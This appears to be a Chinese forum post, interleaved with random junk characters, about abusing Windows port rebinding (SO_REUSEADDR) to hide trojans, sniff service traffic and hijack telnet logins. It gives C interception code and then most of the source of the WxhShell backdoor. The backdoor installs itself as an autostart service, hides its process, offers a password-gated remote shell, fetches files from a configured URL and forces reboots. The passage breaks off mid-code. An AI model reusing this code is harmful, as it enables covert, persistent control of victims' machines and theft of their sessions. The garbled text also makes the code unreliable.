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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: hqSJ(gs{  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); h~Q)Uy5N(D  
&p UZDjo?  
  saddr.sin_family = AF_INET; q6P wZ_  
hIv@i\`  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ( n{wg(R  
pI[ZBoR~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \kam cA  
Rhzn/\)|  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 I3S9Us-\  
HG >j5  
  这意味着什么?意味着可以进行如下的攻击: ,"}Rg1\4t  
*~$~yM/~3U  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 { >{B`e`$  
_A_ A$N~9  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _>o-UBb4]T  
w2(guL($  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6$Q,Y}j  
h( QYxI,|  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  3*S{;p  
uZKP"Oy  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?ne_m:J[  
2LY=D L7  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 !{^\1QK  
O  OFVnu  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 L?&'xzt B  
Y]aW)u  
  #include 6X g]/FD  
  #include }*U[>Z-eO  
  #include 2Nc>6  
  #include    -5G)?J/*  
  DWORD WINAPI ClientThread(LPVOID lpParam);   96Wp!]*  
  int main() =;~I_)Pg1  
  { M<?Q4a'Q  
  WORD wVersionRequested; ?z-}>$I;  
  DWORD ret; z +2V4s=  
  WSADATA wsaData; wgeNs9L  
  BOOL val; pj|pcv^  
  SOCKADDR_IN saddr; Q'B6^%:<~  
  SOCKADDR_IN scaddr; ?@6b>='!  
  int err; q(^Q3  
  SOCKET s; ]Z<_ " F  
  SOCKET sc; c/W=$3  
  int caddsize; RWq{Ff}Hk  
  HANDLE mt; u?+bW-D'd  
  DWORD tid;    Wa/g`}  
  wVersionRequested = MAKEWORD( 2, 2 ); 3M*Bwt;F_  
  err = WSAStartup( wVersionRequested, &wsaData ); }w-wSkl1  
  if ( err != 0 ) { 4_M>OD/"  
  printf("error!WSAStartup failed!\n"); /BKe+]dS*  
  return -1; 7J$b$P0}  
  } fg%&N2/(.B  
  saddr.sin_family = AF_INET; _,h@:Xij  
   =(AtfW^H  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 n_K~ vD  
T>>YNaUL  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;a"q'5+Ne  
  saddr.sin_port = htons(23); Nw J:!  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) aiCFH_H4;L  
  { -l+P8:fL~  
  printf("error!socket failed!\n"); v"u^M-_  
  return -1; ][PzgzG  
  } ~o3Hdd_#}N  
  val = TRUE; }WFf''Z-  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 sE(HZR1  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 8Ad606  
  { %6j)=IOts  
  printf("error!setsockopt failed!\n"); Q<tu)Qo  
  return -1; 4NEq$t$Jn  
  } Z*{] ,  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ye 6H*K  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 YL^=t^ !4  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 -!qu"A:  
w6|9|f/  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6x{<e4<n  
  { Tz&Y]#h_  
  ret=GetLastError(); wy1X\PJjH  
  printf("error!bind failed!\n"); }SyxPXs  
  return -1; fCAiLkT,C[  
  } }H:F< z*  
  listen(s,2); z|R,&~:  
  while(1) S|AM9*k9  
  { "pxzntY|  
  caddsize = sizeof(scaddr); &YP#M |  
  //接受连接请求 USJ- e  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); D bX{#4lx  
  if(sc!=INVALID_SOCKET) {aKqXL[UP  
  { F#|O@.tDG  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); P'@<:S|  
  if(mt==NULL)  84zTCX  
  { %bXx!x8(  
  printf("Thread Creat Failed!\n"); ]6Ug>>x5  
  break; zkM"cb13q/  
  } .uo.N   
  } 4] > ]-b  
  CloseHandle(mt); `WEZ"5n  
  } *TW=/+j  
  closesocket(s); KP;(Q+qTx  
  WSACleanup(); }'"Gr%jf(  
  return 0; +H/jK@  
  }   7"X>?@  
  DWORD WINAPI ClientThread(LPVOID lpParam)  n]W_e  
  { K?x,T8<aW  
  SOCKET ss = (SOCKET)lpParam; SM0M%  
  SOCKET sc; dth&?/MERL  
  unsigned char buf[4096]; Rn%N&1 Ef  
  SOCKADDR_IN saddr; Ko>&)%))$X  
  long num; f67NWFX  
  DWORD val; 4o:hyh   
  DWORD ret; R$kpiqK  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =tTqN+4  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2],_^XBvB  
  saddr.sin_family = AF_INET; p4>$z& _  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #h!*dj"  
  saddr.sin_port = htons(23); \/7i-B]G7  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z[!d*O%R_  
  { Ey{%XR+*;  
  printf("error!socket failed!\n");  1iT\df  
  return -1; 23(=Xp3;>  
  } 73A)lU.  
  val = 100; iJFs0?*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .ujT!{>v/  
  { yj6@7@l>A  
  ret = GetLastError(); rI$`9d  
  return -1; `pZs T ^G[  
  } {)f~#37  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ExSe=4q#  
  { G}@#u9  
  ret = GetLastError(); j Ib  
  return -1; DH DZ_t:  
  } eg"Gjp- 4=  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) !%<^K.wG  
  { kU5.iK'  
  printf("error!socket connect failed!\n"); 4Q=ftY<  
  closesocket(sc); 3Rg}+[b  
  closesocket(ss); fyz nuUl  
  return -1; egR9AEJvz  
  } O[17";P  
  while(1) 3XiO@jzre  
  { =! Vf  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 g o5]<4`r  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 F-(dRSDNM  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 T`/IO.2  
  num = recv(ss,buf,4096,0); SDG-~(Y  
  if(num>0) x)rlyjFM  
  send(sc,buf,num,0); ? Q@kg  
  else if(num==0) PMsz`  
  break; XB hb`AG  
  num = recv(sc,buf,4096,0); @Fv=u  
  if(num>0) ){s*n=KIO  
  send(ss,buf,num,0); vqslirC  
  else if(num==0) <O?y-$~  
  break; ;cQW sTfT  
  } _,Fny_u=;  
  closesocket(ss); _fFU#k:MU  
  closesocket(sc); 7x]4`#u  
  return 0 ; Sydh2d  
  } ,7Y-k'7Kop  
@4~=CV%j  
Dq\ Jz~  
========================================================== V{-AP=C7  
n;HHogA  
下边附上一个代码,,WXhSHELL r,SnXjp@  
8GPIZh'0 h  
========================================================== c;f!!3&  
Z!d7&T}  
#include "stdafx.h" =+5,B\~q@C  
,?UM;^  
#include <stdio.h> 75!9FqMZ}  
#include <string.h> 5/",<1  
#include <windows.h> 6[ qA`x#  
#include <winsock2.h> 1L7{p>;-dO  
#include <winsvc.h> C<^YVeG  
#include <urlmon.h> D\~zS`}  
}F6<w{|  
#pragma comment (lib, "Ws2_32.lib") EO|:FcW  
#pragma comment (lib, "urlmon.lib") 9Ywpej*+  
JuRH>`  
#define MAX_USER   100 // 最大客户端连接数 pnyWcrBf  
#define BUF_SOCK   200 // sock buffer 09KcKhFB  
#define KEY_BUFF   255 // 输入 buffer %U7.7dSOI;  
-b&{+= ^c  
#define REBOOT     0   // 重启 [./6At&|  
#define SHUTDOWN   1   // 关机 }/dRU${!  
ubsSa}$q  
#define DEF_PORT   5000 // 监听端口 #BVtL :x@  
$aCd/&  
#define REG_LEN     16   // 注册表键长度 snM Z0W  
#define SVC_LEN     80   // NT服务名长度 M`,~ mU  
U=Y)V%  
// 从dll定义API 1[F3 Z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); sRVIH A ,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); C-eA8pYY/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -Ue$T{;RoH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \mM<\-'p  
|rw%FM{F  
// wxhshell配置信息 N(6|yZ<J3M  
struct WSCFG { mM.*b@d-  
  int ws_port;         // 监听端口 >DM44  
  char ws_passstr[REG_LEN]; // 口令 V~DMtB7  
  int ws_autoins;       // 安装标记, 1=yes 0=no Xm2\0=v5;  
  char ws_regname[REG_LEN]; // 注册表键名 /StTb,  
  char ws_svcname[REG_LEN]; // 服务名 5FVndMM#y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :%&Q-kk4!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 M6 9 w-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vD/NgRBww  
int ws_downexe;       // 下载执行标记, 1=yes 0=no nL@KX>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" M4LP$N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :,;K>l^U  
l:;PXy6)  
}; FLal}80.o:  
 ~fl@ 2  
// default Wxhshell configuration sKz`aqI  
struct WSCFG wscfg={DEF_PORT, `=+^|Y}  
    "xuhuanlingzhe", ]=rht9),"  
    1, hDP/JN8y  
    "Wxhshell", d4:`@*  
    "Wxhshell", CQ7{1,?2  
            "WxhShell Service", G2 ]H6G$M  
    "Wrsky Windows CmdShell Service", !J1rRPV  
    "Please Input Your Password: ", _cTh#t ^  
  1, :Eh\NOc_O  
  "http://www.wrsky.com/wxhshell.exe", onCKI,"  
  "Wxhshell.exe" [AH6~-\x  
    }; 7 J^rv9i4  
 mvW%  
// 消息定义模块 w&$d* E  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #&<)! YY5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \]Kh[z0"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3uU]kD^  
char *msg_ws_ext="\n\rExit."; mC&=X6Q]  
char *msg_ws_end="\n\rQuit."; e+v({^k  
char *msg_ws_boot="\n\rReboot..."; n8=5-7UT  
char *msg_ws_poff="\n\rShutdown..."; # ,uya2!)  
char *msg_ws_down="\n\rSave to "; %98' @$:0  
&wd;EGGT!q  
char *msg_ws_err="\n\rErr!"; "q}FPJ^l_N  
char *msg_ws_ok="\n\rOK!"; bawJ$_O_  
"xcX' F^  
char ExeFile[MAX_PATH]; N#V.1<Y  
int nUser = 0; m^'uipa\  
HANDLE handles[MAX_USER]; !g~1&Uw1  
int OsIsNt; 5Dp#u  
=4uSFK_L  
SERVICE_STATUS       serviceStatus; AIb2k  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; xX3'bsN  
OJT1d-5p  
// 函数声明 YzosZ! L!<  
int Install(void); dpQG[vXe  
int Uninstall(void); { pu85'DV  
int DownloadFile(char *sURL, SOCKET wsh); ERwHLA  
int Boot(int flag); V^y^ ;0I}[  
void HideProc(void); ')a(.f  
int GetOsVer(void); T@}|zDC#  
int Wxhshell(SOCKET wsl); .)1_Ew  
void TalkWithClient(void *cs); hPq%L c  
int CmdShell(SOCKET sock); kdz=ltw  
int StartFromService(void); -?]W*f  
int StartWxhshell(LPSTR lpCmdLine); 4=uhh  
64Lx -avf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R [H+qr  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Yw _+`,W   
0![ +Q4"  
// 数据结构和表定义 a{!QOX%K  
SERVICE_TABLE_ENTRY DispatchTable[] = pZ`|iLNl-  
{ jF`BjxrG  
{wscfg.ws_svcname, NTServiceMain}, h%WE=\,Qp  
{NULL, NULL} VxP&j0M>  
}; %0#1t 5g  
A5,t+8`aci  
// 自我安装 *5tO0_L  
int Install(void) \tx bhWN  
{ jq'!UN{  
  char svExeFile[MAX_PATH]; HW&%T7 a  
  HKEY key; &DqE{bBd!  
  strcpy(svExeFile,ExeFile); dd2[yKC`  
Y|8v O  
// 如果是win9x系统,修改注册表设为自启动 d0'J C*  
if(!OsIsNt) { "5cM54Z0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '` 'GK&)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }QZQ3@  
  RegCloseKey(key); G!4(BGx&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zf3v5Hk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yH][(o=2  
  RegCloseKey(key); AM=z`0so  
  return 0; kq\)MQ"/X  
    } .CP& bJP%  
  } s  {^yj  
} Zmbfq8K  
else { dr4Z5mw"E  
I ZQHu h  
// 如果是NT以上系统,安装为系统服务 l & Dxg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t|t#vcB  
if (schSCManager!=0) kd"N 29  
{ /0\ mx4u  
  SC_HANDLE schService = CreateService G0E121`h  
  ( ,C3,TkA]  
  schSCManager, }kg ye2[  
  wscfg.ws_svcname, u!1{Vt87  
  wscfg.ws_svcdisp, M$f7sx  
  SERVICE_ALL_ACCESS, O25lLNmO  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8* Jw0mSw  
  SERVICE_AUTO_START, 8H[:>;S I  
  SERVICE_ERROR_NORMAL, S/;bU :  
  svExeFile, R_=6GZH$G  
  NULL, zB yqD$  
  NULL, );-~j  
  NULL, m%?V7-9!k  
  NULL, @F(mi1QO  
  NULL X.`~>`8  
  ); !3T&4t  
  if (schService!=0) fM^[7;]7e  
  { h gJ[LU|>  
  CloseServiceHandle(schService); phO;c;y}  
  CloseServiceHandle(schSCManager); zbJT&@z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .s$z/Jv  
  strcat(svExeFile,wscfg.ws_svcname); D7_*k%;@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { VK@!lJ u!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  Q1@A2+ c  
  RegCloseKey(key); 9mZ  
  return 0; |Ph3#^rM?  
    } "`N-*;*W  
  } \W,I?Kx$  
  CloseServiceHandle(schSCManager); 36US5ef  
} ^n0]dizB  
} /dnCwFXf  
ON+J>$[[  
return 1; jt+iv*2N>  
} uslQ*7S[^  
+}jJ&Z9 )  
// 自我卸载 XrZ*1V  
int Uninstall(void) V)}rEX   
{ v%Wx4v@%SE  
  HKEY key; ,AT[@  
(p%>j0<  
if(!OsIsNt) { A_KW(;50  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >M&3Y XC  
  RegDeleteValue(key,wscfg.ws_regname); ](|\whI  
  RegCloseKey(key); ID/ F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HV<Lf 6gE  
  RegDeleteValue(key,wscfg.ws_regname); 1'? 4m0W1  
  RegCloseKey(key); nT2)E&U6%  
  return 0; _UuC,Pl3  
  } `-LGU7~+  
} (Cq n6 dWK  
} Bj7gQ%>H4  
else { irjP>3_e  
m#=z7.XrX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $ `7^+8vHV  
if (schSCManager!=0) _YRE (YZ/  
{ 43=,yz2Ef  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,a#EW+" Z  
  if (schService!=0) !>:?rSg*  
  { 8_N]e'WUh  
  if(DeleteService(schService)!=0) { ;| 1$Q!4  
  CloseServiceHandle(schService); <tioJG{OT  
  CloseServiceHandle(schSCManager);  O#I1V K  
  return 0; Sfdu`MQR  
  } *g^x*|f6  
  CloseServiceHandle(schService); ,i@X'<;y  
  } +@r*}  
  CloseServiceHandle(schSCManager); f5` g  
} kwsp9 0)  
} T1H"\+  
OrK&RC  
return 1; P9 Z}H(?C  
} )2M>3C6>f  
~y7jCcd`  
// 从指定url下载文件 iQ"XLrpl  
int DownloadFile(char *sURL, SOCKET wsh) 8U_{|]M  
{ W6Y@U$P#G  
  HRESULT hr; D+>1]ij  
char seps[]= "/"; 0bo/XUpi  
char *token; }}<z/zN&^  
char *file; c/ uNM  
char myURL[MAX_PATH]; 2PG [7u^  
char myFILE[MAX_PATH]; Q$fmD  
A@Dw<.&_I  
strcpy(myURL,sURL); }1rm  
  token=strtok(myURL,seps); Ps<d('=  
  while(token!=NULL) B/n[m@O  
  { V dn&c  
    file=token; IH"6? 9nd  
  token=strtok(NULL,seps); Nv"EV;$  
  } )RcL/n  
:<|<|qJWo  
GetCurrentDirectory(MAX_PATH,myFILE); ` He,p -  
strcat(myFILE, "\\"); $cZUM}@  
strcat(myFILE, file); [pM V?a[  
  send(wsh,myFILE,strlen(myFILE),0); a`0=AQ  
send(wsh,"...",3,0); KI+VXH}Y5{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2@ Z(P.Gh  
  if(hr==S_OK) "]G\9b)   
return 0; AQ ='|%  
else \Acqr@D  
return 1; Pfs;0}h5  
M.>l#4s,'  
} Nr=d<Us9f  
Ox-|JJ=  
// 系统电源模块 jQ)T67  
int Boot(int flag) 3*@5S]]  
{ ^urDoB:  
  HANDLE hToken; Q1z;/A$Al  
  TOKEN_PRIVILEGES tkp; C$5[X7'  
%!1Q P[}K  
  if(OsIsNt) { QeK*j/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @62Mk},9 c  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l(Q?rwI8Y  
    tkp.PrivilegeCount = 1; KSrx[q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?y!E-&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 95V@X ^Ee  
if(flag==REBOOT) { Zcc9e 03  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hh[jN 7K  
  return 0; x@Hc@R<!  
} )[Yv?>ib  
else { 2rZx Sg  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,tg0L$qC  
  return 0; {+@bZ}57  
} 9rA=pH%<>B  
  } 1u9LdkhnY  
  else { 4f;HQ-Iv  
if(flag==REBOOT) { RZCq{|L  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 71{p+3Z&  
  return 0; k|!EDze43?  
} O &-wxJ]S  
else { ]H1I,`=@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =3v]gOcO  
  return 0; _x5 3g A  
} tq|hPd<C  
} @i*|s~15  
7!N2-6GV  
return 1; mtj h`  
} FeTL&$O  
piZJJYv t  
// win9x进程隐藏模块 Zg.&V  
void HideProc(void) _ :VB}>  
{ :*2ud(  
L5\WpM=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); eET}r 24  
  if ( hKernel != NULL ) >MvDVPi~+  
  { >HS W]"k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Zp# v Hs  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); XSZ k%_  
    FreeLibrary(hKernel); 9,"L^W8"k  
  } ,11H.E Z  
*C:|X b<9  
return; +PuPO9jKO@  
} _"w2Uq  
0p\@!Z H  
// 获取操作系统版本 ^R@j=_8}  
int GetOsVer(void) 9uQ 4u/F  
{ t0T"@t#c  
  OSVERSIONINFO winfo; m RO~aD!N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x a06i#  
  GetVersionEx(&winfo); ' >rw(3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G@Z?&"    
  return 1; 7?%k7f  
  else v*[.a#1^  
  return 0; w&KK3*=""  
} n .RhxgC<  
w:<W.7y?0  
// 客户端句柄模块 E3iW-B8u8  
int Wxhshell(SOCKET wsl) :B:"NyPA  
{ 6 M*O{f  
  SOCKET wsh; hHMN6i  
  struct sockaddr_in client; byfJy^8G  
  DWORD myID; 6<ZkJ:=  
o$Z6zmxO  
  while(nUser<MAX_USER) b^$|Nz;  
{ _&b4aW9<  
  int nSize=sizeof(client); 4sT88lG4n  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); HZf/CE9T  
  if(wsh==INVALID_SOCKET) return 1; '4#}e[e  
jYhB +|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); jWE :ek*  
if(handles[nUser]==0) TTTPxO,  
  closesocket(wsh); ?C A,  
else 8Bjib&im  
  nUser++; c. 2).Jt,  
  } &@yo;kB  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Q{lpKe0  
OUNd@o  
  return 0; ^cz(}N 6&  
} t>$kWd{9e;  
>b{q.  
// 关闭 socket fu]s/'8B  
void CloseIt(SOCKET wsh) LMAE)]N  
{ p ObX42  
closesocket(wsh); (X3Tav  
nUser--; x" L20}  
ExitThread(0); :FTMmW,>'  
}  D 'Zt  
AQ[GO6$,%H  
// 客户端请求句柄 C .~+*"Vw  
void TalkWithClient(void *cs) ^i} L-QR  
{ yLQ*"sw\  
x-?Sn' m  
  SOCKET wsh=(SOCKET)cs; Cy=Hy@C  
  char pwd[SVC_LEN]; rMhB9zB1  
  char cmd[KEY_BUFF]; pxh"B\"4*  
char chr[1]; VQS~\:1  
int i,j; ~15N7=wCM  
z3;*Em8Ir  
  while (nUser < MAX_USER) { _zwG\I|Q  
&H`jL4S  
if(wscfg.ws_passstr) { *5^Q7``  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "*srx]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x}"uZ$g  
  //ZeroMemory(pwd,KEY_BUFF); N<-gI9_  
      i=0; c:o]d)S  
  while(i<SVC_LEN) { = < oBgD0k  
RpD=]y!5_  
  // 设置超时 T"DlT/\  
  fd_set FdRead; ^8AXxE  
  struct timeval TimeOut; OD6\Mr2=  
  FD_ZERO(&FdRead); sv&;Y\2c  
  FD_SET(wsh,&FdRead); gh8F 2V;<  
  TimeOut.tv_sec=8; c5D)   
  TimeOut.tv_usec=0; "$N+"3I  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Gf<'WQ[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &RnTzqv  
ZWKg9%y7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]X ?7ZI^  
  pwd=chr[0]; ap+JQ@b  
  if(chr[0]==0xd || chr[0]==0xa) { Wg<(ms dj  
  pwd=0; HTS%^<u  
  break; E4~<V=2l  
  } l^pA2yh|  
  i++; li}1S  
    } h1B16)  
r[b(I@T +  
  // 如果是非法用户,关闭 socket <?riU\-]y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); = 's(|  
} |m^k_d!d  
A Sk|A!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); nwF2aRNV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @c;|G$E@3  
J:V6  
while(1) { 5',8 ziJQ  
)W;o<:x3  
  ZeroMemory(cmd,KEY_BUFF); 0dGAP  
e'~J,(fB  
      // 自动支持客户端 telnet标准   5?3Me59  
  j=0; q#,f 4P  
  while(j<KEY_BUFF) { #AL=f'2=f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GycSwQ ,  
  cmd[j]=chr[0]; @oV9)  
  if(chr[0]==0xa || chr[0]==0xd) { ;kS&A(  
  cmd[j]=0; ~&7MkkftM  
  break; 8T!+ZQAz  
  } QSszn`e  
  j++; pgQV/6  
    } 4GY[7^  
Rld!,t  
  // 下载文件 y)W@{@{kl  
  if(strstr(cmd,"http://")) { 2ZG5<"DQ"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [f1 (`<  
  if(DownloadFile(cmd,wsh)) oPXkYW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o:3dfO%nuM  
  else iB%gPoDCL@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I+[>I=ewa  
  } T>2[=J8U  
  else { B"TAjB& *  
P(,p'I;j  
    switch(cmd[0]) { DVB{2~7 4  
  v*SEb~[  
  // 帮助 LSGBq  
  case '?': { B&[M7i  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W;'!gpa  
    break; VcSVu  
  } \KQ71yqY  
  // 安装 +zaA,e?\  
  case 'i': { 5qZ1FE  
    if(Install()) b\$}>O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); smRE!f*q  
    else clL2k8VS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qB0E_y)a  
    break; O4cr*MCb5  
    } d4>Z8FF|1B  
  // 卸载 Ay5i+)MD  
  case 'r': { :y%/u%L  
    if(Uninstall()) *n 6s.$p)%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &eCa0s?mI  
    else )4<__|52"1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W&& ;:Fr  
    break; vd 0ljA  
    } <`B,R*H{  
  // 显示 wxhshell 所在路径 :D%"EJ  
  case 'p': { M<.d8?p )  
    char svExeFile[MAX_PATH]; QS` PpyBkd  
    strcpy(svExeFile,"\n\r"); G~2jUyv  
      strcat(svExeFile,ExeFile); uW@oyZUj  
        send(wsh,svExeFile,strlen(svExeFile),0); zQ@I}K t  
    break; m'6&9Ja k  
    } #\.,?A}9  
  // 重启 ]B%v+uaW  
  case 'b': { Po__-xN>Q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kb{]>3Y"  
    if(Boot(REBOOT)) %l}D.ml  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zr+zhpp  
    else { LcB]Xdsa(  
    closesocket(wsh); 5_I->-<  
    ExitThread(0); s:/8[(A  
    } 0=* 8  
    break; Ma.`A  
    } [E!oQVY  
